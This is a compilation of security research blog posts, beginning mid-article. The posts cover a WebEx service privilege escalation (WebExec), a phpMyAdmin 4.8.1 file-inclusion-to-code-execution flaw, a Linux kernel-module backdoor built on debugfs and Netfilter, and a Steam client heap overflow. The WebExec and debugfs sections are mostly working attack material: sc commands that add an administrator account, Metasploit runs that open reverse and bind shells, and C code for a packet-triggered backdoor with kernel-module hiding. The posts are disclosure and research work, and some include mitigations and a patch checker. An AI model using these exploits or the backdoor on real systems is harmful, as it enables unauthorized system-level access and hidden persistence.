  C:\Users\ron>sc start webexservice a software-update 1 calc c d e f

And it opened!

C:\Users\ron>tasklist | find "calc"
calc.exe                      1476 Console                    1     10,804 K

It actually runs with a GUI, too, so that’s kind of unnecessary. I could literally see it! And it’s running as SYSTEM!

Speaking of unknowns, running cmd.exe and powershell the same way does not appear to work. We can, however, run wmic.exe and net.exe, so we have some choices!

Local exploit

The simplest exploit is to start cmd.exe with wmic.exe:

C:\Users\ron>sc start webexservice a software-update 1 wmic process call create "cmd.exe"

That opens a GUI cmd.exe instance as SYSTEM:

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
nt authority\system

If we can’t or choose not to open a GUI, we can also escalate privileges:

C:\Users\ron>net localgroup administrators
[...]
Administrator
ron

C:\Users\ron>sc start webexservice a software-update 1 net localgroup administrators testuser /add
[...]

C:\Users\ron>net localgroup administrators
[...]
Administrator
ron
testuser

And this all works as an unprivileged user!

Jeff wrote a local module for Metasploit to exploit the privilege escalation vulnerability. If you have a non-SYSTEM session on the affected machine, you can use it to gain a SYSTEM account:

meterpreter > getuid
Server username: IEWIN7\IEUser

meterpreter > background
[*] Backgrounding session 2...

msf exploit(multi/handler) > use exploit/windows/local/webexec
msf exploit(windows/local/webexec) > set SESSION 2
SESSION => 2

msf exploit(windows/local/webexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(windows/local/webexec) > set LHOST 172.16.222.1
msf exploit(windows/local/webexec) > set LPORT 9001
msf exploit(windows/local/webexec) > run

[*] Started reverse TCP handler on 172.16.222.1:9001
[*] Checking service exists...
[*] Writing 73802 bytes to %SystemRoot%\Temp\yqaKLvdn.exe...
[*] Launching service...
[*] Sending stage (179779 bytes) to 172.16.222.132
[*] Meterpreter session 2 opened (172.16.222.1:9001 -> 172.16.222.132:49574) at 2018-08-31 14:45:25 -0700
[*] Service started...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Remote exploit

We actually spent over a week knowing about this vulnerability without realizing that it could be used remotely! The simplest exploit can still be done with the Windows sc command. Either create a session to the remote machine or create a local user with the same credentials, then run cmd.exe in the context of that user (runas /user:newuser cmd.exe). Once that’s done, you can use the exact same command against the remote host:

c:\>sc \\10.0.0.0 start webexservice a software-update 1 net localgroup administrators testuser /add

The command will run (and a GUI will even pop up!) on the other machine.

Remote exploitation with Metasploit

To simplify this attack, I wrote a pair of Metasploit modules. One is an auxiliary module that implements this attack to run an arbitrary command remotely, and the other is a full exploit module. Both require a valid SMB account (local or domain), and both mostly depend on the WebExec library that I wrote.

Here is an example of using the auxiliary module to run calc on a bunch of vulnerable machines:

msf5 > use auxiliary/admin/smb/webexec_command
msf5 auxiliary(admin/smb/webexec_command) > set RHOSTS 192.168.1.100-110
RHOSTS => 192.168.56.100-110
msf5 auxiliary(admin/smb/webexec_command) > set SMBUser testuser
SMBUser => testuser
msf5 auxiliary(admin/smb/webexec_command) > set SMBPass testuser
SMBPass => testuser
msf5 auxiliary(admin/smb/webexec_command) > set COMMAND calc
COMMAND => calc
msf5 auxiliary(admin/smb/webexec_command) > exploit

[-] 192.168.56.105:445    - No service handle retrieved
[+] 192.168.56.105:445    - Command completed!
[-] 192.168.56.103:445    - No service handle retrieved
[+] 192.168.56.103:445    - Command completed!
[+] 192.168.56.104:445    - Command completed!
[+] 192.168.56.101:445    - Command completed!
[*] 192.168.56.100-110:445 - Scanned 11 of 11 hosts (100% complete)
[*] Auxiliary module execution completed

And here’s the full exploit module:

msf5 > use exploit/windows/smb/webexec
msf5 exploit(windows/smb/webexec) > set SMBUser testuser
SMBUser => testuser
msf5 exploit(windows/smb/webexec) > set SMBPass testuser
SMBPass => testuser
msf5 exploit(windows/smb/webexec) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf5 exploit(windows/smb/webexec) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf5 exploit(windows/smb/webexec) > exploit

[*] 192.168.56.101:445 - Connecting to the server...
[*] 192.168.56.101:445 - Authenticating to 192.168.56.101:445 as user 'testuser'...
[*] 192.168.56.101:445 - Command Stager progress -   0.96% done (999/104435 bytes)
[*] 192.168.56.101:445 - Command Stager progress -   1.91% done (1998/104435 bytes)
...
[*] 192.168.56.101:445 - Command Stager progress -  98.52% done (102891/104435 bytes)
[*] 192.168.56.101:445 - Command Stager progress -  99.47% done (103880/104435 bytes)
[*] 192.168.56.101:445 - Command Stager progress - 100.00% done (104435/104435 bytes)
[*] Started bind TCP handler against 192.168.56.101:4444
[*] Sending stage (179779 bytes) to 192.168.56.101

The actual implementation is mostly straight forward if you look at the code linked above, but I wanted to specifically talk about the exploit module, since it had an interesting problem: how do you initially get a meterpreter .exe uploaded to execute it?

I started by using a psexec-like exploit where we upload the .exe file to a writable share, then execute it via WebExec. That proved problematic, because uploading to a share frequently requires administrator privileges, and at that point you could simply use psexecinstead. You lose the magic of WebExec!

After some discussion with Egyp7, I realized I could use the Msf::Exploit::CmdStager mixin to stage the command to an .exe file to the filesystem. Using the .vbs flavor of staging, it would write a Base64-encoded file to the disk, then a .vbs stub to decode and execute it!

There are several problems, however:

  • The max line length is ~1200 characters, whereas the CmdStager mixin uses ~2000 characters per line
  • CmdStager uses %TEMP% as a temporary directory, but our exploit doesn’t expand paths
  • WebExecService seems to escape quotation marks with a backslash, and I’m not sure how to turn that off

The first two issues could be simply worked around by adding options (once I’d figured out the options to use):

wexec(true) do |opts|
  opts[:flavor] = :vbs
  opts[:linemax] = datastore["MAX_LINE_LENGTH"]
  opts[:temp] = datastore["TMPDIR"]
  opts[:delay] = 0.05
  execute_cmdstager(opts)
end

execute_cmdstager() will execute execute_command() over and over to build the payload on-disk, which is where we fix the final issue:

# This is the callback for cmdstager, which breaks the full command into
# chunks and sends it our way. We have to do a bit of finangling to make it
# work correctly
def execute_command(command, opts)
  # Replace the empty string, "", with a workaround - the first 0 characters of "A"
  command = command.gsub('""', 'mid(Chr(65), 1, 0)')

  # Replace quoted strings with Chr(XX) versions, in a naive way
  command = command.gsub(/"[^"]*"/) do |capture|
    capture.gsub(/"/, "").chars.map do |c|
      "Chr(#{c.ord})"
    end.join('+')
  end

  # Prepend "cmd /c" so we can use a redirect
  command = "cmd /c " + command

  execute_single_command(command, opts)
end

First, it replaces the empty string with mid(Chr(65), 1, 0), which works out to characters 1 — 1 of the string «A». Or the empty string!

Second, it replaces every other string with Chr(n)+Chr(n)+.... We couldn’t use &, because that’s already used by the shell to chain commands. I later learned that we can escape it and use ^&, which works just fine, but + is shorter so I stuck with that.

And finally, we prepend cmd /c to the command, which lets us echo to a file instead of just passing the > symbol to the process. We could probably use ^> instead.

In a targeted attack, it’s obviously possible to do this much more cleanly, but this seems to be a great way to do it generically!

Checking for the patch

This is one of those rare (or maybe not so rare?) instances where exploiting the vulnerability is actually easier than checking for it!

The patched version of WebEx still allows remote users to connect to the process and start it. However, if the process detects that it’s being asked to run an executable that is not signed by WebEx, the execution will halt. Unfortunately, that gives us no information about whether a host is vulnerable!

There are a lot of targeted ways we could validate whether code was run. We could use a DNS request, telnet back to a specific port, drop a file in the webroot, etc. The problem is that unless we have a generic way to check, it’s no good as a script!

In order to exploit this, you have to be able to get a handle to the service-controlservice (svcctl), so to write a checker, I decided to install a fake service, try to start it, then delete the service. If starting the service returns either OK or ACCESS_DENIED, we know it worked!

Here’s the important code from the Nmap checker module we developed:

-- Create a test service that we can query
local webexec_command = "sc create " .. test_service .. " binpath= c:\\fakepath.exe"
status, result = msrpc.svcctl_startservicew(smbstate, open_service_result['handle'], stdnse.strsplit(" ", "install software-update 1 " .. webexec_command))

-- ...

local test_status, test_result = msrpc.svcctl_openservicew(smbstate, open_result['handle'], test_service, 0x00000)

-- If the service DOES_NOT_EXIST, we couldn't run code
if string.match(test_result, 'DOES_NOT_EXIST') then
  stdnse.debug("Result: Test service does not exist: probably not vulnerable")
  msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])

  vuln.check_results = "Could not execute code via WebExService"
  return report:make_output(vuln)
end

Not shown: we also delete the service once we’re finished.

Conclusion

So there you have it! Escalating privileges from zero to SYSTEM using WebEx’s built-in update service! Local and remote! Check out webexec.org for tools and usage instructions!

phpMyAdmin 4.8.x LFI to RCE (Authorization Required)

Author: @Ambulong

Security Team ChaMd5 disclose a Local File Inclusion vulnerability in phpMyAdmin latest version 4.8.1. And the exploiting of this vulnerability may lead to Remote Code Execution.

In this article, we will use VulnSpy’s online phpMyAdmin environment to demonstrate the exploit of this vulnerability.

VulnSpy’s online phpMyAdmin environment address: http://www.vulnspy.com/phpmyadmin-4.8.1/

Vulnerability Details

1.Line 54-63 in file /index.php:

1
2
3
4
5
6
7
8
9
10
// If we have a valid target, let’s load that script instead
if (! empty($_REQUEST[‘target’])
&& is_string($_REQUEST[‘target’])
&& ! preg_match(‘/^index/’, $_REQUEST[‘target’])
&& ! in_array($_REQUEST[‘target’], $target_blacklist)
&& Core::checkPageValidity($_REQUEST[‘target’])
) {
include $_REQUEST[‘target’];
exit;
}

2.Core::checkPageValidity in /libraries/classes/Core.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/**
* boolean phpMyAdmin.Core::checkPageValidity(string &$page, array $whitelist)
*
* checks given $page against given $whitelist and returns true if valid
* it optionally ignores query parameters in $page (script.php?ignored)
*
* @param string &$page page to check
* @param array $whitelist whitelist to check page against
*
* @return boolean whether $page is valid or not (in $whitelist or not)
*/
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . ‘?’, ‘?’)
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . ‘?’, ‘?’)
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}

Core::checkPageValidity can be bypassed by using by double encoding like %253f.

Exploit

An attacker can use this vulnerability to include session file to lauching a Remote Code Execution vulnerability.

1.Use username root, password toor log into phpmyadmin.

Login PMA

2.Run SQL query

Login PMA

3.Get your Session ID

Session ID is the item phpMyAdmin in your cookie.

Login PMA

4.Include the session file

Login PMA

Misusing debugfs for In-Memory RCE

An explanation of how debugfs and nf hooks can be used to remotely execute code.

Картинки по запросу debugfs

Introduction

Debugfs is a simple-to-use RAM-based file system specially designed for kernel debugging purposes. It was released with version 2.6.10-rc3 and written by Greg Kroah-Hartman. In this post, I will be showing you how to use debugfs and Netfilter hooks to create a Loadable Kernel Module capable of executing code remotely entirely in RAM.

An attacker’s ideal process would be to first gain unprivileged access to the target, perform a local privilege escalation to gain root access, insert the kernel module onto the machine as a method of persistence, and then pivot to the next target.

Note: The following is tested and working on clean images of Ubuntu 12.04 (3.13.0-32), Ubuntu 14.04 (4.4.0-31), Ubuntu 16.04 (4.13.0-36). All development was done on Arch throughout a few of the most recent kernel versions (4.16+).

Practicality of a debugfs RCE

When diving into how practical using debugfs is, I needed to see how prevalent it was across a variety of systems.

For every Ubuntu release from 6.06 to 18.04 and CentOS versions 6 and 7, I created a VM and checked the three statements below. This chart details the answers to each of the questions for each distro. The main thing I was looking for was to see if it was even possible to mount the device in the first place. If that was not possible, then we won’t be able to use debugfs in our backdoor.

Fortunately, every distro, except Ubuntu 6.06, was able to mount debugfs. Every Ubuntu version from 10.04 and on as well as CentOS 7 had it mounted by default.

  1. Present: Is /sys/kernel/debug/ present on first load?
  2. Mounted: Is /sys/kernel/debug/ mounted on first load?
  3. Possible: Can debugfs be mounted with sudo mount -t debugfs none /sys/kernel/debug?
Operating System Present Mounted Possible
Ubuntu 6.06 No No No
Ubuntu 8.04 Yes No Yes
Ubuntu 10.04* Yes Yes Yes
Ubuntu 12.04 Yes Yes Yes
Ubuntu 14.04** Yes Yes Yes
Ubuntu 16.04 Yes Yes Yes
Ubuntu 18.04 Yes Yes Yes
Centos 6.9 Yes No Yes
Centos 7 Yes Yes Yes
  • *debugfs also mounted on the server version as rw,relatime on /var/lib/ureadahead/debugfs
  • **tracefs also mounted on the server version as rw,relatime on /var/lib/ureadahead/debugfs/tracing

Executing code on debugfs

Once I determined that debugfs is prevalent, I wrote a simple proof of concept to see if you can execute files from it. It is a filesystem after all.

The debugfs API is actually extremely simple. The main functions you would want to use are: debugfs_initialized — check if debugfs is registered, debugfs_create_blob — create a file for a binary object of arbitrary size, and debugfs_remove — delete the debugfs file.

In the proof of concept, I didn’t use debugfs_initialized because I know that it’s present, but it is a good sanity-check.

To create the file, I used debugfs_create_blob as opposed to debugfs_create_file as my initial goal was to execute ELF binaries. Unfortunately I wasn’t able to get that to work — more on that later. All you have to do to create a file is assign the blob pointer to a buffer that holds your content and give it a length. It’s easier to think of this as an abstraction to writing your own file operations like you would do if you were designing a character device.

The following code should be very self-explanatory. dfs holds the file entry and myblob holds the file contents (pointer to the buffer holding the program and buffer length). I simply call the debugfs_create_blob function after the setup with the name of the file, the mode of the file (permissions), NULL parent, and lastly the data.

struct dentry *dfs = NULL;
struct debugfs_blob_wrapper *myblob = NULL;

int create_file(void){
	unsigned char *buffer = "\
#!/usr/bin/env python\n\
with open(\"/tmp/i_am_groot\", \"w+\") as f:\n\
	f.write(\"Hello, world!\")";

	myblob = kmalloc(sizeof *myblob, GFP_KERNEL);
	if (!myblob){
		return -ENOMEM;
	}

	myblob->data = (void *) buffer;
	myblob->size = (unsigned long) strlen(buffer);

	dfs = debugfs_create_blob("debug_exec", 0777, NULL, myblob);
	if (!dfs){
		kfree(myblob);
		return -EINVAL;
	}
	return 0;
}

Deleting a file in debugfs is as simple as it can get. One call to debugfs_remove and the file is gone. Wrapping an error check around it just to be sure and it’s 3 lines.

void destroy_file(void){
	if (dfs){
		debugfs_remove(dfs);
	}
}

Finally, we get to actually executing the file we created. The standard and as far as I know only way to execute files from kernel-space to user-space is through a function called call_usermodehelper. M. Tim Jones wrote an excellent article on using UMH called Invoking user-space applications from the kernel, so if you want to learn more about it, I highly recommend reading that article.

To use call_usermodehelper we set up our argv and envp arrays and then call the function. The last flag determines how the kernel should continue after executing the function (“Should I wait or should I move on?”). For the unfamiliar, the envp array holds the environment variables of a process. The file we created above and now want to execute is /sys/kernel/debug/debug_exec. We can do this with the code below.

void execute_file(void){
	static char *envp[] = {
		"SHELL=/bin/bash",
		"PATH=/usr/local/sbin:/usr/local/bin:"\
			"/usr/sbin:/usr/bin:/sbin:/bin",
		NULL
	};

	char *argv[] = {
		"/sys/kernel/debug/debug_exec",
		NULL
	};

	call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

I would now recommend you try the PoC code to get a good feel for what is being done in terms of actually executing our program. To check if it worked, run ls /tmp/ and see if the file i_am_groot is present.

Netfilter

We now know how our program gets executed in memory, but how do we send the code and get the kernel to run it remotely? The answer is by using Netfilter! Netfilter is a framework in the Linux kernel that allows kernel modules to register callback functions called hooks in the kernel’s networking stack.

If all that sounds too complicated, think of a Netfilter hook as a bouncer of a club. The bouncer is only allowed to let club-goers wearing green badges to go through (ACCEPT), but kicks out anyone wearing red badges (DENY/DROP). He also has the option to change anyone’s badge color if he chooses. Suppose someone is wearing a red badge, but the bouncer wants to let them in anyway. The bouncer can intercept this person at the door and alter their badge to be green. This is known as packet “mangling”.

For our case, we don’t need to mangle any packets, but for the reader this may be useful. With this concept, we are allowed to check any packets that are coming through to see if they qualify for our criteria. We call the packets that qualify “trigger packets” because they trigger some action in our code to occur.

Netfilter hooks are great because you don’t need to expose any ports on the host to get the information. If you want a more in-depth look at Netfilter you can read the article here or the Netfilter documentation.

netfilter hooks

When I use Netfilter, I will be intercepting packets in the earliest stage, pre-routing.

ESP Packets

The packet I chose to use for this is called ESP. ESP or Encapsulating Security Payload Packets were designed to provide a mix of security services to IPv4 and IPv6. It’s a fairly standard part of IPSec and the data it transmits is supposed to be encrypted. This means you can put an encrypted version of your script on the client and then send it to the server to decrypt and run.

Netfilter Code

Netfilter hooks are extremely easy to implement. The prototype for the hook is as follows:

unsigned int function_name (
		unsigned int hooknum,
		struct sk_buff *skb,
		const struct net_device *in,
		const struct net_device *out,
		int (*okfn)(struct sk_buff *)
);

All those arguments aren’t terribly important, so let’s move on to the one you need: struct sk_buff *skbsk_buffs get a little complicated so if you want to read more on them, you can find more information here.

To get the IP header of the packet, use the function skb_network_header and typecast it to a struct iphdr *.

struct iphdr *ip_header;

ip_header = (struct iphdr *)skb_network_header(skb);
if (!ip_header){
	return NF_ACCEPT;
}

Next we need to check if the protocol of the packet we received is an ESP packet or not. This can be done extremely easily now that we have the header.

if (ip_header->protocol == IPPROTO_ESP){
	// Packet is an ESP packet
}

ESP Packets contain two important values in their header. The two values are SPI and SEQ. SPI stands for Security Parameters Index and SEQ stands for Sequence. Both are technically arbitrary initially, but it is expected that the sequence number be incremented each packet. We can use these values to define which packets are our trigger packets. If a packet matches the correct SPI and SEQ values, we will perform our action.

if ((esp_header->spi == TARGET_SPI) &&
	(esp_header->seq_no == TARGET_SEQ)){
	// Trigger packet arrived
}

Once you’ve identified the target packet, you can extract the ESP data using the struct’s member enc_data. Ideally, this would be encrypted thus ensuring the privacy of the code you’re running on the target computer, but for the sake of simplicity in the PoC I left it out.

The tricky part is that Netfilter hooks are run in a softirq context which makes them very fast, but a little delicate. Being in a softirq context allows Netfilter to process incoming packets across multiple CPUs concurrently. They cannot go to sleep and deferred work runs in an interrupt context (this is very bad for us and it requires using delayed workqueues as seen in state.c).

The full code for this section can be found here.

Limitations

  1. Debugfs must be present in the kernel version of the target (>= 2.6.10-rc3).
  2. Debugfs must be mounted (this is trivial to fix if it is not).
  3. rculist.h must be present in the kernel (>= linux-2.6.27.62).
  4. Only interpreted scripts may be run.

Anything that contains an interpreter directive (python, ruby, perl, etc.) works together when calling call_usermodehelper on it. See this wikipedia article for more information on the interpreter directive.

void execute_file(void){
	static char *envp[] = {
		"SHELL=/bin/bash",
		"HOME=/root/",
		"USER=root",
		"PATH=/usr/local/sbin:/usr/local/bin:"\
			"/usr/sbin:/usr/bin:/sbin:/bin",
		"DISPLAY=:0",
		"PWD=/", 
		NULL
	};

	char *argv[] = {
		"/sys/kernel/debug/debug_exec",
		NULL
	};

    call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

Go also works, but it’s arguably not entirely in RAM as it has to make a temp file to build it and it also requires the .go file extension making this a little more obvious.

void execute_file(void){
	static char *envp[] = {
		"SHELL=/bin/bash",
		"HOME=/root/",
		"USER=root",
		"PATH=/usr/local/sbin:/usr/local/bin:"\
			"/usr/sbin:/usr/bin:/sbin:/bin",
		"DISPLAY=:0",
		"PWD=/", 
		NULL
	};

	char *argv[] = {
		"/usr/bin/go",
		"run",
		"/sys/kernel/debug/debug_exec.go",
		NULL
	};

    call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

Discovery

If I were to add the ability to hide a kernel module (which can be done trivially through the following code), discovery would be very difficult. Long-running processes executing through this technique would be obvious as there would be a process with a high pid number, owned by root, and running <interpreter> /sys/kernel/debug/debug_exec. However, if there was no active execution, it leads me to believe that the only method of discovery would be a secondary kernel module that analyzes custom Netfilter hooks.

struct list_head *module;
int module_visible = 1;

void module_unhide(void){
	if (!module_visible){
		list_add(&(&__this_module)->list, module);
		module_visible++;
	}
}

void module_hide(void){
	if (module_visible){
		module = (&__this_module)->list.prev;
		list_del(&(&__this_module)->list);
		module_visible--;
	}
}

Mitigation

The simplest mitigation for this is to remount debugfs as noexec so that execution of files on it is prohibited. To my knowledge, there is no reason to have it mounted the way it is by default. However, this could be trivially bypassed. An example of execution no longer working after remounting with noexec can be found in the screenshot below.

For kernel modules in general, module signing should be required by default. Module signing involves cryptographically signing kernel modules during installation and then checking the signature upon loading it into the kernel. “This allows increased kernel security by disallowing the loading of unsigned modules or modules signed with an invalid key. Module signing increases security by making it harder to load a malicious module into the kernel.

debugfs with noexec

# Mounted without noexec (default)
cat /etc/mtab | grep "debugfs"
ls -la /tmp/i_am_groot
sudo insmod test.ko
ls -la /tmp/i_am_groot
sudo rmmod test.ko
sudo rm /tmp/i_am_groot
sudo umount /sys/kernel/debug
# Mounted with noexec
sudo mount -t debugfs none -o rw,noexec /sys/kernel/debug
ls -la /tmp/i_am_groot
sudo insmod test.ko
ls -la /tmp/i_am_groot
sudo rmmod test.ko

Future Research

An obvious area to expand on this would be finding a more standard way to load programs as well as a way to load ELF files. Also, developing a kernel module that can distinctly identify custom Netfilter hooks that were loaded in from kernel modules would be useful in defeating nearly every LKM rootkit that uses Netfilter hooks.

Remote Code Execution Vulnerability in the Steam Client

Remote Code Execution Vulnerability in the Steam Client

Frag Grenade! A Remote Code Execution Vulnerability in the Steam Client

Frag Grenade! A Remote Code Execution Vulnerability in the Steam Client

This blog post explains the story behind a bug which had existed in the Steam client for at least the last ten years, and until last July would have resulted in remote code execution (RCE) in all 15 million active clients.

The keen-eyed, security conscious PC gamers amongst you may have noticed that Valve released a new update to the Steam client in recent weeks.
This blog post aims to justify why we play games in the office explain the story behind the corresponding bug, which had existed in the Steam client for at least the last ten years, and until last July would have resulted in remote code execution (RCE) in all 15 million active clients.
Since July, when Valve (finally) compiled their code with modern exploit protections enabled, it would have simply caused a client crash, with RCE only possible in combination with a separate info-leak vulnerability.
Our vulnerability was reported to Valve on the 20th February 2018 and to their credit, was fixed in the beta branch less than 12 hours later. The fix was pushed to the stable branch on the 22nd March 2018.

Overview

At its core, the vulnerability was a heap corruption within the Steam client library that could be remotely triggered, in an area of code that dealt with fragmented datagram reassembly from multiple received UDP packets.

The Steam client communicates using a custom protocol – the “Steam protocol” – which is delivered on top of UDP. There are two fields of particular interest in this protocol which are relevant to the vulnerability:

  • Packet length
  • Total reassembled datagram length

The bug was caused by the absence of a simple check to ensure that, for the first packet of a fragmented datagram, the specified packet length was less than or equal to the total datagram length. This seems like a simple oversight, given that the check was present for all subsequent packets carrying fragments of the datagram.

Without additional info-leaking bugs, heap corruptions on modern operating systems are notoriously difficult to control to the point of granting remote code execution. In this case, however, thanks to Steam’s custom memory allocator and (until last July) no ASLR on the steamclient.dll binary, this bug could have been used as the basis for a highly reliable exploit.

What follows is a technical write-up of the vulnerability and its subsequent exploitation, to the point where code execution is achieved.

Vulnerability Details

PREREQUISITE KNOWLEDGE

Protocol

The Steam protocol has been reverse engineered and well documented by others (e.g. https://imfreedom.org/wiki/Steam_Friends) from analysis of traffic generated by the Steam client. The protocol was initially documented in 2008 and has not changed significantly since then.

The protocol is implemented as a connection-orientated protocol over the top of a UDP datagram stream. The packet structure, as documented in the existing research linked above, is as follows:

Key points:

  • All packets start with the 4 bytes “VS01
  • packet_len describes the length of payload (for unfragmented datagrams, this is equal to data length)
  • type describes the type of packet, which can take the following values:
    • 0x2 Authenticating Challenge
    • 0x4 Connection Accept
    • 0x5 Connection Reset
    • 0x6 Packet is a datagram fragment
    • 0x7 Packet is a standalone datagram
  • The source and destination fields are IDs assigned to correctly route packets from multiple connections within the steam client
  • In the case of the packet being a datagram fragment:
    • split_count refers to the number of fragments that the datagram has been split up into
    • data_len refers to the total length of the reassembled datagram
  • The initial handling of these UDP packets occurs in the CUDPConnection::UDPRecvPkt function within steamclient.dll

Encryption

The payload of the datagram packet is AES-256 encrypted, using a key negotiated between the client and server on a per-session basis. Key negotiation proceeds as follows:

  • Client generates a 32-byte random AES key and RSA encrypts it with Valve’s public key before sending to the server.
  • The server, in possession of the private key, can decrypt this value and accepts it as the AES-256 key to be used for the session
  • Once the key is negotiated, all payloads sent as part of this session are encrypted using this key.

VULNERABILITY

The vulnerability exists within the RecvFragment method of the CUDPConnection class. No symbols are present in the release version of the steamclient library, however a search through the strings present in the binary will reveal a reference to “CUDPConnection::RecvFragment” in the function of interest. This function is entered when the client receives a UDP packet containing a Steam datagram of type 0x6 (Datagram fragment).

1. The function starts by checking the connection state to ensure that it is in the “Connected” state.
2. The data_len field within the Steam datagram is then inspected to ensure it contains fewer than a seemingly arbitrary 0x20000060 bytes.
3. If this check is passed, it then checks to see if the connection is already collecting fragments for a particular datagram or whether this is the first packet in the stream.

Figure 1

4. If this is the first packet in the stream, the split_count field is then inspected to see how many packets this stream is expected to span
5. If the stream is split over more than one packet, the seq_no_of_first_pkt field is inspected to ensure that it matches the sequence number of the current packet, ensuring that this is indeed the first packet in the stream.
6. The data_len field is again checked against the arbitrary limit of 0x20000060 and also the split_count is validated to be less than 0x709bpackets.

Figure 2

7. If these assertions are true, a Boolean is set to indicate we are now collecting fragments and a check is made to ensure we do not already have a buffer allocated to store the fragments.

Figure 3

8. If the pointer to the fragment collection buffer is non-zero, the current fragment collection buffer is freed and a new buffer is allocated (see yellow box in Figure 4 below). This is where the bug manifests itself. As expected, a fragment collection buffer is allocated with a size of data_lenbytes. Assuming this succeeds (and the code makes no effort to check – minor bug), then the datagram payload is then copied into this buffer using memmove, trusting the field packet_len to be the number of bytes to copy. The key oversight by the developer is that no check is made that packet_len is less than or equal to data_len. This means that it is possible to supply a data_len smaller than packet_len and have up to 64kb of data (due to the 2-byte width of the packet_len field) copied to a very small buffer, resulting in an exploitable heap corruption.

Figure 4

Exploitation

This section assumes an ASLR work-around is present, leading to the base address of steamclient.dll being known ahead of exploitation.

SPOOFING PACKETS

In order for an attacker’s UDP packets to be accepted by the client, they must observe an outbound (client->server) datagram being sent in order to learn the client/server IDs of the connection along with the sequence number. The attacker must then spoof the UDP packet source/destination IPs and ports, along with the client/server IDs and increment the observed sequence number by one.

MEMORY MANAGEMENT

For allocations larger than 1024 (0x400) bytes, the default system allocator is used. For allocations smaller or equal to 1024 bytes, Steam implements a custom allocator that works in the same way across all supported platforms. In-depth discussion of this custom allocator is beyond the scope of this blog, except for the following key points:

  1. Large blocks of memory are requested from the system allocator that are then divided into fixed-size chunks used to service memory allocation requests from the steam client.
  2. Allocations are sequential with no metadata separating the in-use chunks.
  3. Each large block maintains its own freelist, implemented as a singly linked list.
  4. The head of the freelist points to the first free chunk in a block, and the first 4-bytes of that chunk points to the next free chunk if one exists.

Allocation

When a block is allocated, the first free block is unlinked from the head of the freelist, and the first 4-bytes of this block corresponding to the next_free_block are copied into the freelist_head member variable within the allocator class.

Deallocation

When a block is freed, the freelist_head field is copied into the first 4 bytes of the block being freed (next_free_block), and the address of the block being freed is copied into the freelist_head member variable within the allocator class.

ACHIEVING A WRITE-WHAT-WHERE PRIMITIVE

The buffer overflow occurs in the heap, and depending on the size of the packets used to cause the corruption, the allocation could be controlled by either the default Windows allocator (for allocations larger than 0x400 bytes) or the custom Steam allocator (for allocations smaller than 0x400 bytes). Given the lack of security features of the custom Steam allocator, I chose this as the simpler of the two to exploit.

Referring back to the section on memory management, it is known that the head of the freelist for blocks of a given size is stored as a member variable in the allocator class, and a pointer to the next free block in the list is stored as the first 4 bytes of each free block in the list.

The heap corruption allows us to overwrite the next_free_block pointer if there is a free block adjacent to the block that the overflow occurs in. Assuming that the heap can be groomed to ensure this is the case, the overwritten next_free_block pointer can be set to an address to write to, and then a future allocation will be written to this location.

USING DATAGRAMS VS FRAGMENTS

The memory corruption bug occurs in the code responsible for processing datagram fragments (Type 6 packets). Once the corruption has occurred, the RecvFragment() function is in a state where it is expecting more fragments to arrive. However, if they do arrive, a check is made to ensure:

fragment_size + num_bytes_already_received < sizeof(collection_buffer)

This will obviously not be the case, as our first packet has already violated that assertion (the bug depends on the omission of this check) and an error condition will be raised. To avoid this, the CUDPConnection::RecvFragment() method must be avoided after memory corruption has occurred.

Thankfully, CUDPConnection::RecvDatagram() is still able to receive and process type 7 (Datagram) packets sent whilst RecvFragment() is out of action and can be used to trigger the write primitive.

THE ENCRYPTION PROBLEM

Packets being received by both RecvDatagram() and RecvFragment() are expected to be encrypted. In the case of RecvDatagram(), the decryption happens almost immediately after the packet has been received. In the case of RecvFragment(), it happens after the last fragment of the session has been received.

This presents a problem for exploitation as we do not know the encryption key, which is derived on a per-session basis. This means that any ROP code/shellcode that we send down will be ‘decrypted’ using AES256, turning our data into junk. It is therefore necessary to find a route to exploitation that occurs very soon after packet reception, before the decryption routines have a chance to run over the payload contained in the packet buffer.

ACHIEVING CODE EXECUTION

Given the encryption limitation stated above, exploitation must be achieved before any decryption is performed on the incoming data. This adds additional constraints, but is still achievable by overwriting a pointer to a CWorkThreadPool object stored in a predictable location within the data section of the binary. While the details and inner workings of this class are unclear, the name suggests it maintains a pool of threads that can be used when ‘work’ needs to be done. Inspecting some debug strings within the binary, encryption and decryption appear to be two of these work items (E.g. CWorkItemNetFilterEncryptCWorkItemNetFilterDecrypt), and so the CWorkThreadPool class would get involved when those jobs are queued. Overwriting this pointer with a location of our choice allows us to fake a vtable pointer and associated vtable, allowing us to gain execution when, for example, CWorkThreadPool::AddWorkItem() is called, which is necessarily prior to any decryption occurring.

Figure 5 shows a successful exploitation up to the point that EIP is controlled.

Figure 5

From here, a ROP chain can be created that leads to execution of arbitrary code. The video below demonstrates an attacker remotely launching the Windows calculator app on a fully patched version of Windows 10.

Conclusion

If you’ve made it to this section of the blog, thank you for sticking with it! I hope it is clear that this was a very simple bug, made relatively straightforward to exploit due to a lack of modern exploit protections. The vulnerable code was probably very old, but as it was otherwise in good working order, the developers likely saw no reason to go near it or update their build scripts. The lesson here is that as a developer it is important to periodically include aging code and build systems in your reviews to ensure they conform to modern security standards, even if the actual functionality of the code has remained unchanged. The fact that such a simple bug with such serious consequences has existed in such a popular software platform for so many years may be surprising to find in 2018 and should serve as encouragement to all vulnerability researchers to find and report more of them!

